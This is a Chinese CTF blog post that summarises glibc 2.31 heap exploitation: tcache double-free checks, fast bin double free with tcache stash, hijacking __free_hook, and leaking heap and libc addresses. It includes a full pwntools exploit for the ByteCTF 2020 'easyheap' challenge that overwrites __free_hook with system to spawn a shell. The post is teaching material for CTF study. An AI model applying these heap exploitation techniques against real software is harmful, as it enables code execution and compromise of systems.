PS: 更新于2024-11-12
前言
2年不做pwn,已经是个废物了
这回碰到glibc 2.31
的堆风水题目做了半天才做出来,感觉对堆已经生疏了,重新总结一下堆的相关知识然后
1. glibc堆利用——共识篇
在做堆的题目之前,需要对一些基本的思路有一些了解:
1. glibc的堆题目思路一般是:代码审计——发现漏洞(uaf,double free,oob, …)——利用漏洞泄露glibc地址/堆地址——堆风水(目的是获得任意地址的读写能力)——劫持free_hook为system,实现利用
这个思路很重要,理解了才好继续深究。
2. 正常的堆操作流程是无法泄露地址信息的,如果正常的堆操作流程可以泄露地址,说明堆实现有问题
2. tcache利用篇
自从glibc.2.26
版本出现tcache
之后,tcache
马上就变成了堆利用的重灾区啊~原因无他,太好使了。刚出那会tcache
根本没有保护,随便用
2.0 2.31 tcache新增机制
在2.31,tcache
新增机制主要体现在free
函数上。
具体细节如下:
// free函数关于tcache的2.31新增校验
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
而tcache_put
的代码逻辑如下:
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache
e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); //计数增加
}
总结来说,在free
一个要放入tcache
的chunk
时,其会先检测key
值,如果key!=tcache
,说明没有double free
,如果key==tcache
,那会被检测到,出现问题
如果确定该chunk
要放入tcache
里,那么放入前会把该chunk
的key设置为tcache,标记其已放入tcache里
2.1 pthread_tcache_struct介绍
所谓pthread_tcache_struct
,其实是管理tcache
的核心结构,该结构也存储在heap中,其定义如下:
#define TCACHE_MAX_BINS 64
typedef struct tcache_perthread_struct{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;
// tcache_entry的结构体定义又如下
typedef struct tcache_entry{
struct tcache_entry *next;
}tcache_entry;
看到这个大家就很熟悉了,就是我们free函数
中的tcache
变量!
所以pthread_tcache_struct
指的就是我们用pwndbg插件输入tcache时展示的结构体
而这个pthread_tcache_struct
通常都是堆中第一个被分配的堆块,查看堆地址即可得知。
2.2 fast bin double free+tcache stash进行绕过
说完了大概原理,说一下利用手法吧
(1) 假设目前tcache被填满了:C6->C5->C4->C3->C2->C1->C0,fast bin中为:C7->C8->C7。
(2) 下一步,为了分配到fast bin,需要先申请7个chunk,让tcache为空;
再次申请时就会返回fast bin中的C7,此时由于tcache stash机制,fast bin中的C8->C7会被放入tcache bin,此时,申请了一个chunk,得到C7;
在C7的fd字段写入target_addr(相当于获得了Edit功能),于是target_addr也被放入了tcache bin,因此这里target_addr处甚至不需要伪造size(target_addr指向user data区)。
(3) 此时,tcache bin中单链表为:C8->C7->target_addr,再申请到target_addr,从而得到了一个真正地址的任意写。
当然,现在的ctf题目中一般申请的chunk
分为info chunk(记录data的存放地址和大小)
和data chunk(存放数据)
这种情况下,让C7同时成为data chunk和info chunk,就能通过修改data chunk —-》 修改info chunk —-》 实现任意地址写
例子:示例题目下载
exp也附在上面
2.3 在没有edit的情况下劫持free_hook
其实本人一直很好奇,在没有edit功能的堆菜单题目中,只有new时可以写入内容,我们应该如何做到劫持
漏洞:一个任意地址写为0的漏洞,就能完成劫持
主要以bytectf 2020
中的题目esayheap
来进行演示
下载链接
from pwn import *
context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
libc_path ="./libc-2.31.so"
p = process(["./easyheap"],env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
r = lambda s : p.recv(s)
ru = lambda s : p.recvuntil(s)
rl = lambda : p.recvline()
s = lambda s : p.send(s)
sa = lambda a,s : p.sendafter(a,s)
sl = lambda s: p.sendline(s)
sla = lambda a,s : p.sendlineafter(a,s)
def new(size,content):
sla(">> ",str(1))
sla("Size: ",str(size))
sa("Content: ",content)
return
def fake_new(size1,size2,content):
sla(">> ",str(1))
sla("Size: ",str(size1))
sla("Size: ",str(size2))
sa("Content: ",content)
return
def delete(index):
sla(">> ",str(3))
sla("Index: ",str(index))
return
def show(index):
sla(">> ",str(2))
sla("Index: ",str(index))
return
for i in range(8):
new(0x80,b"a"*8+b"\n")
for i in range(7):
delete(7-i)
delete(0)
# gdb.attach(p,"b* $rebase(0x14D7)")
fake_new(0x100,1,b"a") # 0
show(0)
libc_addr = u64(p.recv(15)[9:15].ljust(8,b"\x00")) -0x1ebc61
success("libc_base:"+hex(libc_addr))
free_hook = libc_addr + libc.sym["__free_hook"]
success("free_hook: "+hex(free_hook))
system_addr=libc_addr+libc.sym['system']
success("system: "+hex(system_addr))
new(0x60,b'a'*0x60) # 1
new(0x60,b'a'*0x60) # 2
new(0x60,b'a'*0x60) # 3
new(0x60,b'a'*0x60) # 4
new(0x60,b'a'*0x60) # 5
# gdb.attach(p,"b* $rebase(0x169A) \n b * $rebase(0x14D7)")
delete(2)
delete(5)
delete(4) # [0 1 3 ]
fake_new(0x4d1,0x80,b'b'*80+b"\n") # 2 [0 1 2 3 ] # important step 通过构造tcachebin中的地址指向自己,构造了一个double free
delete(0) # [1 2 3 ]
new(0x60,p64(free_hook)+b"\n") # 0 [0 1 2 3 ]
new(0x60,p64(free_hook)+b"\n") # 4 [0 1 2 3 4 ]
new(0x60,p64(system_addr)+b"\n") # 5 [0 1 2 3 4 5]
new(0x80,b"/bin/sh\x00\n")
delete(6)
p.interactive()
3. 泄露堆地址篇
3.1 tcache泄露堆地址
先分配2个堆块a,b
,大小均为0x20
释放a,b,此时tcache
中的链表为b->a
此时在申请一个堆块,重新得到b,此时b的前8个字节即存放着a的地址
4. 泄露libc地址篇
4.1 unsorted bin 分割泄露libc地址
Step1 : 申请8个0x80大小的堆块(堆块的实际大小为0x90)
Step2 :释放 第7,6,5,4,3,2,1 个堆块,它们会进入tcachebin中,释放第0个
堆块,第0个堆块会进入 unsortedbin中
如果直接释放第0,1,2,3,4,5,6个堆块,它们会进入tcachebin中,但是第7个堆块
释放时会和底部的heap合并!
Step3 :申请1个0x10大小的堆块(实际堆块大小为0x20),此时会对unsortedbin中的第0个chunk做分割,分为0x20和0x70实际大小的两个堆块(分割后 实际大小为0x20的堆块中,并不会把 arena+96 的值置0,而是变成了 arena+128;
实际的大小为0x70的堆块中仍然放着 arena+96的值,且这个堆块仍然在unsorted bin中,可通过申请0x60的堆块(实际大小为0x70)将其解放)
Step4 :如果你能够读取堆块内容,就可以通过读取该堆块的值泄露libc地址
references
[原创] CTF 中 glibc堆利用 及 IO_FILE 总结
2.31中check机制和漏洞利用分析
[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)
Glibc高版本堆利用方法总结